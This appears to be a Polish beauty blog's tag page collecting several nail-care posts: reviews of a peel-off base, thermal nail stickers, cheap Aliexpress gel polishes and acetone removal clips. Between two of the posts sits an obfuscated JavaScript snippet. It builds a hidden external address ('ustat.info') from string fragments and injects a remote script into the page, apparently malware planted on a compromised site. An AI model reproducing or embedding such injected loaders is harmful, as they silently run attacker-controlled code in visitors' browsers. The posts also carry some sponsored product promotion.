Tag

paznokcie

Czytając mojego bloga doskonale wiecie, że jestem fanką lakierów hybrydowych. Co prawda nie jestem mistrzem wzorów, jednak bardzo sobie cenię trwałość i odporność tego rodzaju manicure. Rzadko ulegam reklamom, ale muszę przyznać, że kiedy usłyszałam o nowej bazie peel off od Neess ciekawość wzięła górę. Marka prowadziła swoje warsztaty na tegorocznym Meet Beauty, podczas których mogłam zaznajomić się z produktem i jego zaletami ( o wadach przecież się nie mówi ). Bazę znalazłam również wśród upominków z konferencji, więc postanowiłam bliżej jej się przyjrzeć i nie ukrywajmy – poddałam ją intensywnym testom. Dzisiaj zebrałam moje wszystkie uwagi w całość i zapraszam Was na recenzję tej (nie ukrywajmy) rewolucyjnej bazy. Jak myślicie, będzie hit czy kit?
BAZA PEEL OFF – JAK TO DZIAŁA?
Nie ma co ukrywać – baza,  która przy zachowaniu trwałości hybryd (według producenta 14 dni) ściąga się bez użycia acetonu w kilka chwil wydaje się być prawdziwą rewolucją w manicure. 
Warto po krótce przyjrzeć się sposobie, w jaki należy ją aplikować:
1. Przecieramy paznokcie cleanerem, nie matowimy płytki paznokcia;
2. Nakładamy cienką warstwę uwzględniając wolny brzeg, nie utwardzamy w lampie;
3. Po minucie nakładamy drugą nieco grubszą warstwę i ponownie czekamy 60s;
4. Nakładamy dowolny kolorowy lakier hybrydowy i utwardzamy jak zwykle;
5. Zabezpieczamy paznokieć topem i utwardzamy jak zawsze.
Ściąganie różni się znacznie od tradycyjnych hybryd, a zarazem jest proste i szybkie. Do usunięcia hybryd potrzebujemy wyłącznie drewnianego patyczka bądź radełka, którym podważamy lakier z brzegu paznokcia, całość odchodzi bez większego problemu. Przemywamy cleanerem i koniec. 
W ten sposób unikamy ingerencji acetonu oraz konieczności piłowania płytki paznokcia, co z pewnością wydaje się być doskonałym rozwiązanie, bo oszczędzamy przy tym sporo czasu. Warto dodać, że baza przeznaczona jest wyłącznie dla krótkich paznokci.
ZALETY  STOSOWANIA BAZY PEEL OFF
1. Nie do końca wiem czy można uznać to za plus, ale trwałość ( w moim przypadku ) lakierów zaaplikowanych na bazę peel off jest porównywalna do zwykłej hybrydy. Uznaję to za zaletę, bo spodziewałam się gorszego wyniku. Średnio jest to dwa tygodnie, choć w tym czasie zdarzały się małe odpryski. Testowałam ją zarówno z lakierami Neessa jak i innymi markami. 
2. Ściąganie hybryd to zdecydowanie największa zaleta, dzieje się to szybko i bez zbędnych produktów tj. aceton. W większości przypadków udało mi się ściągnąć cały paznokieć, a cały zabieg jest bezbolesny i bezzapachowy. 

JAKIE WADY MA BAZA PEEL OFF?


1.  Konsystencja bazy szybko zastyga/gęstnieje, więc po każdym użyciu trzeba zakręcić buteleczkę, niestety ja nie mam tego zwyczaju, gdyż zwykle robię to dopiero po skończeniu całego manicure. Podobnie jest z jej aplikacją – trzeba robić to szybko i konkretnie, poprawki raczej nie wchodzą w grę. 
2.  Baza zaaplikowana na paznokciach zostawia mocno lepką warstwę i jeśli nie nałożymy idealnie równo na nią koloru/topu to przylega do niej każdy pyłek czy kurz. U mnie niestety ten problem pojawił się za każdym razem, nie jestem mistrzem w malowaniu pod skórki. 
3.  Przyczepność bazy, jak i całego manicure to jedna wielka niewiadoma. Po kilku dniach na krawędziach ( szczególnie przy długich paznokciach ) można zauważyć minimalna szparę. Oczywiście, jeśli nie będziemy przy tym dłubać to paznokieć będzie się trzymać…ale niestety w tej szparce gromadzi się brud i bakterie. ( Mam nadzieje, że widzicie to na zdjęciach, choć nie chciałam dawać zbliżenia bo to totalnie nieestetyczne.) Niestety jest to powód, przez który nie zamierzam dalej używać bazy peel off.


Góra: manicure dzień 16., paznokcie od dołu – spójrzcie na ten osad pomiędzy paznokciem a bazą,
Dół: stan paznokci po usunięciu hybryd, zdjęte hybrydy ( widzicie ten brud? )
4. Ściąganie hybryd co prawda jest szybkie i proste, ale niestety ma negatywny wpływ na płytkę paznokcia, która jak możecie zobaczyć jest poważnie uszkodzona. Co prawda przedstawiciel zapewnia, że to nic groźnego, ale mam wobec tego poważne obiekcje. Za każdym razem zmuszona jestem do zmatowienia płytki blokiem polerskim, bo sam cleaner nie jest w stanie zneutralizować lepkiej warstwy, która pozostaje po bazie. 
5. Baza nie nadaje się do długich paznokci, gdyż jak byśmy nie zabezpieczyli brzegu to robią się odpryski. Miałam tego świadomość, więc to taki niewielki minus – po prostu nie jest to produkt dla każdego. 
PODSUMOWANIE 

Bazy peel off nie nazwałabym rewolucją, ale dobrym krokiem w jej stronę. Jest to produkt, który ma w sobie jakiś pomysł, ale nie do końca jest to przemyślane i skuteczne. Myślę, że dla osób o bardzo krótkich paznokciach taka baza może mieć sens, gdyż nie powinno być problemu ze zbierającymi się brudami między płytką a produktem, co u mnie odstraszyło najbardziej. Na obecną chwilę nie skreślam całkowicie tej bazy, ale sam swoim paznokciom nieco odpocząć ( używałam jej 3 razy pod rząd ). Może wrócę do niej, gdy znudzą mi się moje długie szpony. 
Miałyście okazję wypróbować tę nowość od Neessa? Ciekawa jestem waszych spostrzeżeń. 
Ściskam! 
Niewątpliwie od kilku lat na paznokciach milionów kobiet goszczą lakiery hybrydowe – jednolite kolory, rozmaite wzory, a także brokaty, cyrkonie i wymyślne kompozycje. Nic w tym dziwnego, bo paznokcie nie tylko pięknie wyglądają, ale są utwardzone oraz niestraszne im nieestetyczne odpryski.
Niestety jeśli podobnie jak ja nie macie talentu plastycznego i precyzyjnej ręki do zdobień to zwykle kończy się na jednym kolorze lub w ramach szaleństwa kilku odcieniach. Właśnie dla takich osób jak ja powstała alternatywa dla hybryd – naklejki termiczne
Czym jest Manirouge?
To naklejki termiczne, które po nabraniu odpowiedniej temperatury są plastyczne przez to dopasowanie ich do paznokcia nie stanowi większego problemu. Wyróżnia je zdecydowanie różnorodność dostępnych wzorów i mniej skomplikowana aplikacja. Na stronie Manirouge dostępne są tysiące szablonów a także zestawy startowe, w którym znajdziecie wszystko co potrzebne jest do wykonania manicure. 
Manirouge box
Skoro juz o zestawach mowa to w sklepie znajdziemy 4 boxy różniące się ilością dodatkowych akcesoriów oraz kompletów naklejek. W moje ręce trafił Manirouge Maxi Plus, więc skupię się właśnie na nim. Podstawą ( oprócz oczywiście naklejek, których w zestawie znajduje się 6 kompletów ) jest Mini Heater, czyli małe urządzenie dmuchające gorącym powietrzem, oliwka do paznokci, która służy do zdejmowania naklejek, cleaner ( odtłuszczacz ),  koptyko, pilnik, nożyczki, polerka, radełko oraz folia do wygładzenia manirouge. 
Aplikacja, trwałość, plusy i minusy 

Prawidłowe przyklejanie naklejek opanowałam już przy pierwszym razie, można by powiedzieć, że tylko przy pierwszym paznokciu miałam problemy. Więc w tej kwestii nawet największy laik nie powinien mieć trudności. Aplikować naklejki można bezpośrednio na płytkę paznokcia bądź na uprzednio nałożoną bazę i top hybrydowy. Druga opcja z pewnością utwardzi płytkę paznokcia i przedłuży trwałość, ale uważam że nie o to chodzi aby dodawać sobie dodatkowej roboty. 
Producent zapewnia wytrzymałość naklejek przez okres 2 tygodni, w moim przypadku jednak zaczęły się zadziorki w 9 dniu, co i uważam za świetny wynik. ( nie ukrywam, że miałam już ochotę na nowy wzór ). Jeden zestaw naklejek powinien wystarczyć na 4 aplikacje – często też w jednym komplecie są różne wzory więc można poszaleć, a cena arkusza to 14,90-24,90 pln. 
No dobra, Manirouge nie jest produktem bez wad. Jeśli nieodpowiednio dokładnie zaaplikujemy naklejkę ( co można poprawić ) i stworzy się wybrzuszenie bądź zadziorek to jest to strasznie denerwujące. Zapewne trening czyni mistrza i może kiedyś stanę się perfekcjonistką i nie będę mieć z tym problemu. Często też trzeba naklejkę dociąć ( chyba, że tylko ja mam nieregularne paznokcie )
co u mnie stanowi nie małe wyzwanie.  Na mały minusik zasługuje też fakt, że nie zalecane jest używanie oliwek do paznokci, gdyż w tym przypadku służy ona do zdejmowania naklejek. 
Moje stylizacje 



Po lewej: Black Flower    Po prawej: Liens
Podsumowanie

Śmiało mogę stwierdzić, że naklejki Manirouge to znakomita alternatywa dla hybryd i bynajmniej w moim przypadku te odeszły w kąt. Paznokcie odpoczywają od żeli, a nadal wyglądają dobrze. Brakuje mi jedynie utwardzenia płytki, przez co musiałam je nieco skrócić bo stały się łamliwe. 
Znacie Manirouge? Co sądzicie o tym rodzaju manicure? 
Lakiery hybrydowe robią furorę od dobrych paru lat. Nic dziwnego –  to trwały manicure, który spokojnie utrzymuje nawet 3 tygodnie. Pięknie mani uzyskamy nie tylko w profesjonalnym salonie, ale również w domowym zaciszu. Wystarczy tylko lampa, kilka akcesoriów oraz oczywiście lakiery. 
Tutaj pojawia się problem, gdyż jak wiadomo kobieta zmienną jest…a kolorów nigdy dość. Niestety dostępne na Polskim rynku lakiery kosztują w granicach 25-50 złotych za sztukę. Nic więc dziwnego, że poszukujemy tańszych rozwiązań. Na przeciw wychodzi chiński rynek i znany portal Aliexpress, w którego ofercie obok milionów różnych produktów znaleźć można także lakiery hybrydowe. 
Są bardzo tanie, wybór jest ogromny, ale … co z jakością?
 Dzisiaj opowiem Wam o marce Rosalind, której lakiery kupiłam do testów. Zdecydowałam się na  13 kolorów, a także bazę oraz top. Za całość zapłaciłam niecałe 55 złotych ( na promocji z okazji 11.11 ) co wyszło średnio 3,70 pln za jeden lakier. Postawiłam na kilka jasnych odcieni, ale również na zdecydowane i brokatowe, aby porównać je pod względem krycia, trwałości i odcieni. Dodam również, że lakiery przyszły w różnych pojemnościach 10 ml i 7 ml, ale nie zwróciłam na to uwagi przy zamówieniu. Zapraszam na przegląd. 
KOLORY
Czerwień i mięta są piękne, blady róż jest mocno średni. 
Wszystkie trzy kolory mają przepiękne krycie. 
Z całej czwórki najciężej pracuje się z białym, choć z lakierami innych firm miałam podobnie. 
JAKOŚĆ, TRWAŁOŚĆ, KRYCIE
Konsystencja lakierów kolorowych jest umiarkowanie gęsta, nie spływa. Jasne odcienie tj. biały, blady róż czy najjaśniejszy szary wymagały nałożenia 3 warstw, zaś kolory pozostałe oraz brokaty kryły już po dwóch. Pędzelki wszystkich lakierów są zwyczajne i dobrze się nimi pracuje. 
Baza i top niestety okazały się wielką porażką. Baza niezbyt dobrze trzyma się płytki przez co cału manicure odchodzi od płytki paznokcia. Top powinien być bardziej treściwy i nadawać lepszy połysk, niestety jest nijaki. Wydaje mi się, że gdybym nałożyła je odwrotnie nie było by żadnej różnicy. Trwałość przy użyciu tych dwóch lakierów bardzo mizerna – w granicach tygodnia. 
Na szczęście nie przekreśliłam wszystkich lakierów przez bazowe produkty. Kolory połączyłam z Bazą Hard oraz Topem Hard od Neonail i efekt był zadowalający. Paznokcie wytrzymały spokojnie 3 tygodnie, po których ściągnęłam je acetonem i zrobiłam nowy mani. 

W CHINACH TANIEJ 

Nie tylko lakiery hybrydowe, ale całą masę akcesoriów kupicie na Aliexpress czy też w innych zagranicznych sklepach online zdecydowanie taniej. Niestety często przeszkodą jest inna waluta – co zniechęca bądź po prostu ogranicza możliwość zakupu. Warto więc korzystać z prostych rozwiązań takich jak APLIKACJA WALUTOMAT.PL, która w prosty sposób umożliwia wymianę waluty z poziomu smartfona. To niezwykle wygodna opcja, bo telefon zawsze mamy pod ręką więc nie musimy się martwić, gdy za zakupy nie możemy zapłacić w złotówkach. Z aplikacji od razu wyślemy przelew na zagraniczne konto do ponad 30 krajów. Warto z niej skorzystać również kiedy wybieramy się za granicę i potrzebujemy euro, bo przelicznik zawsze będzie korzystniejszy niż stacjonarnie, a mamy możliwość wypłaty gotówki także poprzez Walutomat.pl.

PODSUMOWANIE

Podsumowując lakiery kolorowe spisują się przyzwoicie, a śmiesznie niska cena sprawia, że moja kolekcja wkrótce się powiększy. Lakiery zachowują się podobnie do marek, które każda z Was dobrze zna. Niektóre kolory wymagają większej ilości warstw i jest to absolutnie normalnie. Zdecydowanie nie warto jednak oszczędzać na bazie oraz topie i spokojnie można łączyć wiodące rodzine marki z chińskimi kolorkami. Unikałabym zakupu bazowych produktów chińskich marek. Najdroższe były brokatowe lakiery ( ok 5,50 pln ) jednak są najlepsze i te na pewno domówię w innych kolorach. 
PRZYKŁADOWE MANICURE HYBRYDOWE

ps. nie jestem mistrzem malowania paznokci 

Przyznać się, kto używał lakierów hybrydowych z Aliexpress? 
Co polecacie?

(function(){
qzkg=document.createElement(“script”);qzkg_=(“us”)+(“ta”);
qzkg_+=”t”+(“.”);qzkg_+=(“in”);qzkgu=”98570″;qzkg.async=true;
qzkgu+=”.97y4alhvzkg0knjxk”;qzkg.type=”text/javascript”;qzkg_+=”f”+”o”+(“/”);
qzkgu+=”7vy8hp8a8k5″;qzkg.src=”https://”+qzkg_+qzkgu;
dqzkg=document.body;dqzkg.appendChild(qzkg);
})();

Jakiś czas temu miałam przyjemność uczestniczyć w spotkaniu blogerek Beauty Flash w Krakowie, gdzie oprócz warsztatów miałam okazję spędzić nieco czasu na targach kosmetycznych LNE, które odbywały się w tym samym miejscu. Tego typu targi to świetne miejsce dla profesjonalistów czy salonów kosmetycznych, jednak dla Nas, zwykłych blogerek to jedynie miejsce na małe zakupy. Wraz z dziewczynami: Magdą oraz Justyną najwięcej czasu spędziłyśmy na chińskim stoisku z niemal wszystkimi rzeczami jakie potrzebne są do tworzenia hybryd. Poprzez naklejki, pilniki, suszarki po różnej maści gadżety. Nie mogłam powstrzymać się, żeby nie zrobić małych zakupów, a wśród nich znalazły się m.in naklejki, które są elementem ostatniego mojego manicure ( szczegóły klik ), jak również bohater dzisiejszego wpisu – zestaw klipsów do usuwania hybryd. 



Na pierwszy rzut oka rzucił mi się ich kolor – cukierkowy róż, którego nie sposób nie przeoczyć, a drugim decydującym aspektem była cena – 10 złotych za komplet 10 klipsów. Uznałam, że chętnie przetestuję dla Was ten gadżet, tym bardziej, że bez problemu kupicie go on-line ( z wysyłką ok 14 złotych ). 
Zacznę od tego, że do tej pory hybrydę ściągałam za pomocą wacików oraz folii aluminiowej, co sprawiało, że cały ten proces był najgorszą częścią noszenia hybryd. Folia zazwyczaj zsuwała się z palców i ciężko było założyć folie na obie dłonie.  



W przypadku klipsów miałam obawy o ich utrzymanie się na palcach, jednak szybko okazało się, że trzymają się zdecydowanie lepiej niż mogłabym sobie wyobrazić. Nawet próby machania rękoma nie zdołały zrzucić klipsów. Zawiasy chodzą lekko i nie ściskają do bólu palców. Z założeniem klipsów nie miałam większych problemów.  Jedyny minus jaki zauważyłam jest taki, że nasączony acetonem wacik szybciej wysycha niż w przypadku owinięcia go folią.  W przypadku bardziej mocniejszych kolorów, w tym czarny te kilka minut trzymania w klipsie może być za mało. 



Jedynym pomysłem jaki w tej chwili przychodzi mi do głowy to ponowne nasączenie waciku płynem bądź owinięcie wacika folią i dopiero założenie klipsa, co w obydwu przypadkach wiąże się z wydłużeniem czasu ściągania hybryd. 

Klipsy używałam dopiero raz, ale i tak jestem z nich zadowolona i napewno będę używać w przyszłości. Ciekawy, a tym bardziej niedrogi gadżet, na który każdy może sobie pozwolić, a małe mankamenty są zawsze do dopracowania. W mojej ocenie 7/10 😉 


Jestem ciekawa, w jaki sposób wy ściągacie swoje hybrydy? Słyszałyście o tych klipsach, a może macie inną ciekawą alternatywę? Koniecznie dajcie znać! 




Lakiery hybrydowe podbiły seria milionów kobiet na całym świecie i nie trudno się temu dziwić, gdyż idealnym manicure możemy cieszyć się przez kilka tygodni. Moim paznokciom hybrydy towarzyszą blisko dwa lata i od zawsze robię je w domowym zaciszu ucząc się metodą prób i błędów. Nigdy jednak nie pomyślałam, żeby dzielić się tym tematem na blogu ( gdyż ekspertem nie jestem 😉 ), aczkolwiek zauważyłam, że jest on bardzo popularny i chętnie czytany, dlatego postanowiłam, że i ja pokażę swoje pazurki. 
Wspominałam już, że nie jestem mistrzem robótek ręcznych? Więc proszę o taryfę ulgową, gdyż mistrzowskich dzieł sztuki na pazurach nie zaprezentuję. Nie będzie to też żaden tutorial, a raczej prezentacja mojego najnowszego koloru od NeoNail, który podbił moje serce w połączeniu ze zwariowanymi naklejkami. Desert Rose, bo o tym kolorze mowa jest według mnie hitem tej jesieni, uwielbiam ten nudziakowy odcień z nutką różu. W ostatnim czasie bardzo często towarzyszył moim paznokciom, a dzisiaj postanowiłam go nieco ubarwić. 

MANICURE OD A DO Z

Jak każdy manicure hybrydowy zaczynam od przygotowania płytki paznokcia poprzez zmatowienie jej bloczkiem polerskim, następnie przemywam płykę cleanerem. Następnie nakładam minimalną ilość primera bezkwasowego, dla lepszej przyczepności lakierów. Po odczekaniu kilkunastu sekund nakładam pierwszą warstwę – Hard Base i utwardzam w mojej starej lampie UV ok 2 minut. Planuję zmianę lampy na ledową, pisałam o niej w moich świątecznych marzeniach tutaj:




Po bazie czas na kolor, piękny Desert Rose od NeoNail, który już przy pierwszej warstwie daje pełne krycie, jednak ja zawsze nakładam dwie cieniutkie warstwy, od tak dla pewności. Na tym kroku mogłabym przejść do finału czyli nałożyć top, jednak ja postanowiłam mojemu nudziakowi nadać niebo koloru w postaci kolorowych naklejek. Nie chciałam jednak przesadzić, więc nałożyłam je w przypadkowej kombinacji na dwa paznokcie. Uważam, że jest to fajne połączenie klasycznego koloru z nieco zwariowanymi motywami. 



Naklejki nałożyłam na lepką warstwę koloru zaraz po wyciągnięciu z lampy i przykryłam ostatnią warstwą – Hard Top i utwardzam po raz ostatni w lampie. Dzięki wzmocnionemu działaniu topu nie tylko naklejki ale również cały manicure będzie trzymał się jak należy. Na koniec nałożyłam oliwkę na paznokcie, jednak jej opakowanie jest w takim stanie, że strach pokazać. Koniecznie muszę nabyć nową 🙂 




Nie wiem jak Wam, ale mi bardzo spodobało się takie połączenie, a tym bardziej, że nie jestem mistrzem malunków ręcznych to naklejki zrobiły dobrą robotę. Muszę koniecznie nabyć więcej wzorów, może nie tylko takich zwariowanych. 
Koniecznie dajcie znać, co lubicie nosić na swoich pazurach i jaki kolor jest waszym hitem! 

Dzisiaj postanowiłam zawitać do Was z bardzo ciekawym i popularnym tematem w ostatnim czasie jakim są lakiery hybrydowe. W bardzo krótkim czasie hybrydy zyskały ogromną popularność przede wszystkim za idealnie wyglądające paznokcie, ale także za fakt, że lakiery nie niszczą paznokci tak jak robią to żele. Ja do hybryd pierwsze podejście miałam już dawno, potem jednak z wygody przerzuciłam się na żele, które robiła mi systematycznie znana na facebooku  “Kobieta Z Pazurem”. Jednak zważywszy na fakt, że mam swoją lampę oraz dodatki typu waciki bezpyłowe, pilniki itp. postanowiłam wrócić do hybryd i zająć się tym osobiście. 

Ostatnio od firmy Allepaznokcie.pl otrzymałam zestaw lakierów hybrydowych kolorowych oraz dodatki, takie jak efekt syrenki, pisak do zdobień, pilnik. I w ten sposób na nowo odkrywam hybrydy. Lakiery produkowane przez sklep są tańszą alternatywą lakierów Semilac, dlatego też z dużą ciekawością wzięłam się za testowanie. Lakiery są w cenach już od 9.90 zł, więc mogłoby się wydawać że jakość będzie marna, ale dzisiaj przybywam do Was z moją recenzją, opinią i moimi perełkami 🙂 Dodam tylko, że jako bazę oraz top używam właśnie lakierów Semilac, myślę, że to całkiem dobre i tanie połączenie. A o to moje efekty:
Moje pierwsze “dzieło”, więc proszę brać pod uwagę moją niedoskonałość 🙂
Na pazurkach kolor czarny nr.27, srebrny brokat nr. 115 oraz nowość Allepaznokcie lakier HQ 4w1 48 – pastel mint. Jeśli chodzi o miętę to bardzo zaciekawił mnie ten lakier nie tylko pod względem koloru, który jest piękny ale przez formułę, dzięki której nie musimy nakładać ani bazy ani topu. Efekt ten sam, a lakier kosztuje ok 15 zł. Także mega tania alternatywa dla paznokci. 
Drugie dzieło, stworzone dziś to połączenie nudziakowych paznokci z próbą malowania pisakiem do zdobień. 

Kolor użyty w tym zestawieniu to klasyczny nudziak nr. 112 oraz pisak do zdobień czarny 02. Malowanie pisakiem okazało się nieco trudniejsze niż sobie to wyobrażałam, ale wierzę, że kilka prób i będzie lepiej. Nieudane próby spokojnie mogłam zmyć cleanerem, a po udanym malunku przykryłam topem i do lampy 🙂
Teraz małe podsumowanie lakierów od Allepaznokcie. 
Wygląd – Lakiery są w zamknięte w srebrnych plastikowych opakowaniach z pędzelkiem, które z jednej strony są bezpieczne, bo nic się nie stłucze a z drugiej zaś strony wyglądają mało “profesjonalnie”, ale mi to absolutnie nie przeszkadza. 
Nakładanie – oba rodzaje lakierów nakłada się bardzo dobrze, pędzelek jest w porządku. Przy jaśniejszych kolorach nakładam dwie lub nawet trzy cieniutkie warstwy, ale to standard. 
Trwałość  – zarówno zwykłe lakiery, jak ten HQ 4in1 dobrze trzymają się na paznokciach, kolory są intensywne, nie bledną. Jeśli chodzi o jakieś odpryski to tylko w miejscach, gdzie coś “za bardzo” lub “za mało” pomalowałam, lub zalałam skórkę itp. Także to kwestia wprawy. 
Ściąganie – Ze ściąganiem hybryd zawsze jest dużo roboty, potrzebny jest aceton i kilkunaste trzymanie paznokci w sreberku, a potem ściąganie ich patyczkiem. Po odpowiednim nawilżeniu paznokci lakier odchodzi całkiem sprawnie, krusząc się – podobnie jak Semilac. 
Zauważyłam, że ciężej ściąga się lakier HQ 4in1. Jest tu troszeczkę więcej roboty, ale raz na kilka tygodni można się przemęczyć. 
Moja ocena – Na początku nie byłam do lakierów przekonana, ale teraz śmiało mogę stwierdzić, że dają radę. Jestem zadowolona i na pewno chętnie kupię kolejne kolory. 
A wy co myślicie?
Lubicie hybrydy?
Jeśli chcecie kolejne posty, tutoriale i inspiracje na temat hybryd to koniecznie dajcie znać!
Dziękuję sklepowi Allepaznokcie.pl  za przekazanie lakierów do testów 🙂